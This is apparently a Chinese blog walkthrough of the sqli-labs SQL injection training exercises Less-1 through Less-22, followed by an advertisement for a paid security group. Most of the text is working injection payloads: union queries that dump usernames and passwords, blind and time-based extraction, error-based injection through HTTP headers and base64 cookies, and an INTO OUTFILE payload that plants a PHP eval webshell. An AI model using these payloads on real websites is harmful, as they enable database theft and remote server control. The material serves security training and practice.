什么是人生?人生就是永不休止的奮斗!
Less-1
嘗試添加’注入,發現報錯
這里我們就可以直接發現報錯的地方,直接將后面注釋,然后使用
1’ order by 3%23
//得到列數為3
//這里用-1是為了查詢一個不存在的id,好讓第一句結果為空,直接顯示第二句的結果
-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata%23
//得到數據庫名
//得到表名
-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= ‘security’%23
如下
//得到列名
-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name= ‘users’%23
如下
//爆破得到數據
-1’ union select 1,username,password from users where id=3%23
如下
Less-2
在添加’之后,得到返回
可以得到這個sql語句其實并沒有單引號,只是用數字進行查詢,例如
select * from users where id=1
所以我們也可以跟上面一樣,payloads:
-1 or 1=1%23
如下
Less-3
添加’之后,返回
可以得到大概的sql語句:
select * from users where id=(‘input’) LIMIT 0,1;
所以我們可以需要閉合)。
-1’) or 1=1%23
如下
Less-4
嘗試’并未發現報錯,嘗試"發現報錯
可以得到大概的sql語句
select * from users where id = (“input”) LIMIT 0,1;
所以payload:
-1") or 1=1 %23
如下
Less-5
嘗試’發現報錯
猜測sql語句為
select * from users where id=‘input’ LIMIT 0,1;
如果嘗試之前的注入方法,會發現不再會返回我們注入的信息,如果注入成功的話,頁面會返回You are in…,出錯的話就不會返回這個字符串,所以這里我們可以進行盲注。
使用left()
例如我們可以使用1’ and left(version(),1)=3%23這個payload進行測試,截取version()得到的最左側的字符判斷是否為3,如果為3則正常返回You are in…,否則不返回。
所以我們可以利用這個一步一步爆破得到1’ and left(version(),1)=5%23。爆破區間可以確定在/[0-9.]/。
采用1’and length(database())=8%23對數據庫名字長度進行爆破,確定數據庫名字長度之后,我們可以使用database()來進行爆破數據庫名,采用1’ and left(database(),1)>‘a’%23這個payload進行測試,原理跟上述一致,看返回即可,直到截取長度與數據庫名字一致為止,這里效率比較高的就是采用二分法進行盲注。
使用substr()、ascii()
也可以采用substr()、ascii()函數進行嘗試:
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 //截取數據庫下第一個表的
第一個字符與80ascii值進行對比 找第二個字符只需要改成substr(‘xxx’,2,1)即可。 找第二個表改成limit 1,1
使用regexp()
1’ and 1=(select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^us[a-z]’ limit 0,1)%23 //users表中的列名是否有us**的列
使用ord()、mid()
1’ and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23 //cast(username AS CHAR)將username轉換成字符串
//IFNULL(exp1,exp2)假如expr1不為NULL,則IFNULL()的返回值為expr1; 否則其返回值為expr2。IFNULL()的返回值是數字或是字符串,具體情況取決于其所使用的語境。 //ord將某個字符轉換成ascii碼,同ascii()
使用報錯注入
Mysql報錯注入原理分析(count()、rand()、group by)
超鏈接:https://www.cnblogs.com/xdans/p/5412468.html
1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x%23
1’ union select (exp(~(select * FROM(SELECT USER())a))),2, 3–+ //exp報錯
1’ union select (!(select * from (select user())x)- ~0),2,3–+ //bigint 溢出報錯注入(這個單引號是微軟拼音的中文單引號)
1’ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ //xpath報錯注入
1’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+ //xpath報錯注入
1’ union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+
使用延時注入
benchmark 是Mysql的一個內置函數,其作用是來測試一些函數的執行速度。benchmark() 中帶有兩個參數,第一個是執行的次數,第二個是要執行的函數或者是表達式
1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
Less-6
沒有回顯,可以使用布爾盲注
1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100–+
可以發現>100有回顯,小于就沒有,也可以用報錯注入…
這里就是把Less-5 中的’改成"就行了
Less-7
使用文件導出,通過第Less-5的報錯注入出絕對路徑
1’ and updatexml(1,concat(0x7e,(select @@datadir),0x7e),1) --+
1’))UNION SELECT 1,2,3 into outfile “c:\wamp\www\sqlli b\Less-7\uuu.txt”%23
上圖中顯示 sql 出錯了,但是沒有關系,我們可以在文件中看到 uuu.txt 已經生成了
1’))UNION SELECT 1,2,‘<?php @eval($_post["mima"])?>’ into outfile “c:\wamp\www\sqllib\Less-7\yijuhua.php”–+
可以在文件中看到一句話木馬已經導入進去了
Less-8
可以使用時間盲注,也可以用 bool 盲注
1’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+
Less-9
同 Less-8 可以使用時間盲注
1’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+
Less-10
1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+
Less-11
報錯注入,少一列就行了
1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
Less-12
1") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
1") union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
Less-13
1’) or 1=1#
成功登錄,報錯注入成功但是不回顯,可以考慮盲注
1’) or ascii(substr((database()),1,1))>100#
Less-14
1" or 1=1#
成功登錄,依然不能回顯,嘗試使用布爾盲注
1" or left(database(),1)=‘s’#
發現可以用updatexml進行報錯注入
1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
Less-15
1’ or 1=1#
成功登錄,布爾注入或者時間盲注均可行
1’ or left(database(),1)=‘s’#
admin’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
Less-16
1") or 1=1#
成功登錄,布爾注入或者時間盲注均可行
1") or left(database(),1)=‘s’#
admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
Less-17
update注入,username過濾了很多,有password錯誤回顯,考慮用報錯注入
username=admin
password=1’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#
Less-18
登錄成功后,頁面提示
那么有可能是 ip 或者 UA 注入,看了一下發現是個 Header 頭注入,這里需要注意這是登錄成功的條件下才能觸發的,而且既然是insert注入,需要用’1’='1閉合后面的 sql 語句,否則就是語法錯誤了
’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1
’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1),“1”,“1”)#
Less-19
登錄成功后提示
于是我們可以知道是在Referer應該有注入點,在 Referer 處同樣用
’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1
可以注入
Less-20
cookie 注入,登錄成功后修改 cookie 即可,注意刪除post的參數
uname=’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1
Less-21
登錄成功后發現 cookie 加上了 base64
YOUR COOKIE : uname = YWRtaW4=
用上面的 payload 進行 base64 編碼就行了,記得=要 urlencode
JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d
Less-22
同 21 ,單引號換成雙引號即可
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAiMSI9IjE%3d
本文poc、工具、源碼加圈獲取
1、本圈主要分享:攻防及SRC實戰經驗分享、代碼審計漏洞詳情及代碼、最新漏洞詳情及原創漏洞利用工具、免殺手法及工具代碼、問題解答等。
2、圈主出身于深信服深藍攻防實驗室、新華三攻防實驗室,連續5年多次獲得國家級、省級、地市級、行業級護網攻擊隊前三名。
3、漏洞盒子總榜前五十名、補天總榜前五十名、去哪網SRC總榜前五十名。
4、獲得50+CVE通用漏洞編號、100+CNVD通用漏洞證書。
5、CSDN、公眾號、博客、先知社區、SecIN、FreeBuf粉絲量10000+。
6、前1-50名: 25¥,50-100名: 50¥,100-150名: 75¥,依次類推.....!
知識星球
紛傳
文筆生疏,措辭淺薄,望各位大佬不吝賜教,萬分感謝。
免責聲明:由于傳播或利用此文所提供的信息、技術或方法而造成的任何直接或間接的后果及損失,均由使用者本人負責, 文章作者不為此承擔任何責任。
轉載聲明:儒道易行 擁有對此文章的修改和解釋權,如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經作者允許,不得任意修改或者增減此文章的內容,不得以任何方式將其用于商業目的。